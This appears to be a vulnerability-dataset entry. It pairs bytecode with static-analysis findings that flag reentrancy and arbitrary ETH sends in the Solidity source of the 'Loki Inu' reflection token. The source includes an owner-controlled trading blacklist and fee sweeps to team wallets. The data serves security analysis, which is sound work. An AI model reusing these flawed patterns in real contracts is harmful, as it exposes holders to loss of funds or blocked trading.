505b5090503081600081518110611e21577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ec357600080fd5b505afa158015611ed7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611efb91906128a4565b81600181518110611f35577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f9c30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612000959493929190612ff2565b600060405180830381600087803b15801561201a57600080fd5b505af115801561202e573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561206457600090506120c6565b600082846120729190613194565b90508284826120819190613163565b146120c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b890612ef7565b60405180910390fd5b809150505b92915050565b600061210e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061216e565b905092915050565b80612124576121236121d1565b5b61212f848484612202565b8061213d5761213c6123cd565b5b50505050565b60008060006121506123df565b9150915061216781836120cc90919063ffffffff16565b9250505090565b600080831182906121b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ac9190612e35565b60405180910390fd5b50600083856121c49190613163565b9050809150509392505050565b60006008541480156121e557506000600954145b156121ef57612200565b600060088190555060006009819055505b565b60008060008060008061221487612441565b95509550955095509550955061227286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235381612551565b61235d848361260e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123ba9190612fd7565b60405180910390a3505050505050505050565b60026008819055506012600981905550565b600080600060065490506000683635c9adc5dea000009050612415683635c9adc5dea000006006546120cc90919063ffffffff16565b82101561243457600654683635c9adc5dea0000093509350505061243d565b81819350935050505b9091565b600080600080600080600080600061245e8a600854600954612648565b925092509250600061246e612143565b905060008060006124818e8787876126de565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b6000808284612502919061310d565b905083811015612547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253e90612eb7565b60405180910390fd5b8091505092915050565b600061255b612143565b90506000612572828461205190919063ffffffff16565b90506125c681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612623826006546124a990919063ffffffff16565b60068190555061263e816007546124f390919063ffffffff16565b6007819055505050565b6000806000806126746064612666888a61205190919063ffffffff16565b6120cc90919063ffffffff16565b9050600061269e6064612690888b61205190919063ffffffff16565b6120cc90919063ffffffff16565b905060006126c7826126b9858c6124a990919063ffffffff16565b6124a990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126f7858961205190919063ffffffff16565b9050600061270e868961205190919063ffffffff16565b90506000612725878961205190919063ffffffff16565b9050600061274e8261274085876124a990919063ffffffff16565b6124a990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061277a6127758461308c565b613067565b9050808382526020820190508285602086028201111561279957600080fd5b60005b858110156127c957816127af88826127d3565b84526020840193506020830192505060018101905061279c565b5050509392505050565b6000813590506127e2816136ca565b92915050565b6000815190506127f7816136ca565b92915050565b600082601f83011261280e57600080fd5b813561281e848260208601612767565b91505092915050565b600081359050612836816136e1565b92915050565b60008151905061284b816136e1565b92915050565b600081359050612860816136f8565b92915050565b600081519050612875816136f8565b92915050565b60006020828403121561288d57600080fd5b600061289b848285016127d3565b91505092915050565b6000602082840312156128b657600080fd5b60006128c4848285016127e8565b91505092915050565b600080604083850312156128e057600080fd5b60006128ee858286016127d3565b92505060206128ff858286016127d3565b9150509250929050565b60008060006060848603121561291e57600080fd5b600061292c868287016127d3565b935050602061293d868287016127d3565b925050604061294e86828701612851565b9150509250925092565b6000806040838503121561296b57600080fd5b6000612979858286016127d3565b925050602061298a85828601612851565b9150509250929050565b6000602082840312156129a657600080fd5b600082013567ffffffffffffffff8111156129c057600080fd5b6129cc848285016127fd565b91505092915050565b6000602082840312156129e757600080fd5b60006129f584828501612827565b91505092915050565b600060208284031215612a1057600080fd5b6000612a1e8482850161283c565b91505092915050565b600060208284031215612a3957600080fd5b6000612a4784828501612851565b91505092915050565b600080600060608486031215612a6557600080fd5b6000612a7386828701612866565b9350506020612a8486828701612866565b9250506040612a9586828701612866565b9150509250925092565b6000612aab8383612ab7565b60208301905092915050565b612ac081613222565b82525050565b612acf81613222565b82525050565b6000612ae0826130c8565b612aea81856130eb565b9350612af5836130b8565b8060005b83811015612b26578151612b0d8882612a9f565b9750612b18836130de565b925050600181019050612af9565b5085935050505092915050565b612b3c81613234565b82525050565b612b4b81613277565b82525050565b6000612b5c826130d3565b612b6681856130fc565b9350612b76818560208601613289565b612b7f816133c3565b840191505092915050565b6000612b976023836130fc565b9150612ba2826133d4565b604082019050919050565b6000612bba602a836130fc565b9150612bc582613423565b604082019050919050565b6000612bdd6022836130fc565b9150612be882613472565b604082019050919050565b6000612c00601b836130fc565b9150612c0b826134c1565b602082019050919050565b6000612c23601d836130fc565b9150612c2e826134ea565b602082019050919050565b6000612c466021836130fc565b9150612c5182613513565b604082019050919050565b6000612c696020836130fc565b9150612c7482613562565b602082019050919050565b6000612c8c6029836130fc565b9150612c978261358b565b604082019050919050565b6000612caf6025836130fc565b9150612cba826135da565b604082019050919050565b6000612cd26024836130fc565b9150612cdd82613629565b604082019050919050565b6000612cf56017836130fc565b9150612d0082613678565b602082019050919050565b6000612d186011836130fc565b9150612d23826136a1565b602082019050919050565b612d3781613260565b82525050565b612d468161326a565b82525050565b6000602082019050612d616000830184612ac6565b92915050565b6000604082019050612d7c6000830185612ac6565b612d896020830184612ac6565b9392505050565b6000604082019050612da56000830185612ac6565b612db26020830184612d2e565b9392505050565b600060c082019050612dce6000830189612ac6565b612ddb6020830188612d2e565b612de86040830187612b42565b612df56060830186612b42565b612e026080830185612ac6565b612e0f60a0830184612d2e565b979650505050505050565b6000602082019050612e2f6000830184612b33565b92915050565b60006020820190508181036000830152612e4f8184612b51565b905092915050565b60006020820190508181036000830152612e7081612b8a565b9050919050565b60006020820190508181036000830152612e9081612bad565b9050919050565b60006020820190508181036000830152612eb081612bd0565b9050919050565b60006020820190508181036000830152612ed081612bf3565b9050919050565b60006020820190508181036000830152612ef081612c16565b9050919050565b60006020820190508181036000830152612f1081612c39565b9050919050565b60006020820190508181036000830152612f3081612c5c565b9050919050565b60006020820190508181036000830152612f5081612c7f565b9050919050565b60006020820190508181036000830152612f7081612ca2565b9050919050565b60006020820190508181036000830152612f9081612cc5565b9050919050565b60006020820190508181036000830152612fb081612ce8565b9050919050565b60006020820190508181036000830152612fd081612d0b565b9050919050565b6000602082019050612fec6000830184612d2e565b92915050565b600060a0820190506130076000830188612d2e565b6130146020830187612b42565b81810360408301526130268186612ad5565b90506130356060830185612ac6565b6130426080830184612d2e565b9695505050505050565b60006020820190506130616000830184612d3d565b92915050565b6000613071613082565b905061307d82826132bc565b919050565b6000604051905090565b600067ffffffffffffffff8211156130a7576130a6613394565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061311882613260565b915061312383613260565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561315857613157613336565b5b828201905092915050565b600061316e82613260565b915061317983613260565b92508261318957613188613365565b5b828204905092915050565b600061319f82613260565b91506131aa83613260565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131e3576131e2613336565b5b828202905092915050565b60006131f982613260565b915061320483613260565b92508282101561321757613216613336565b5b828203905092915050565b600061322d82613240565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061328282613260565b9050919050565b60005b838110156132a757808201518184015260208101905061328c565b838111156132b6576000848401525b50505050565b6132c5826133c3565b810181811067ffffffffffffffff821117156132e4576132e3613394565b5b80604052505050565b60006132f882613260565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561332b5761332a613336565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136d381613222565b81146136de57600080fd5b50565b6136ea81613234565b81146136f557600080fd5b50565b61370181613260565b811461370c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122090324ec618af0995acfbd6b231de252981afbc9ac1fa1ac83d0b88f19af7b6b064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,835
0x02c81e845dd74ec0bf7b7972ecfefd92787fbf16
/** *Submitted for verification at Etherscan.io on 2021-07-13 */ /** *Submitted for verification at Etherscan.io on 2021-06-10 */ /* - Developer provides LP, no presale - No Team Tokens, Locked LP - 100% Fair Launch https://t.me/lokiinuerc20 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LokiInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Loki Inu"; string private constant _symbol = "LOKI"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600881526020017f4c6f6b6920496e75000000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4c4f4b4900000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ff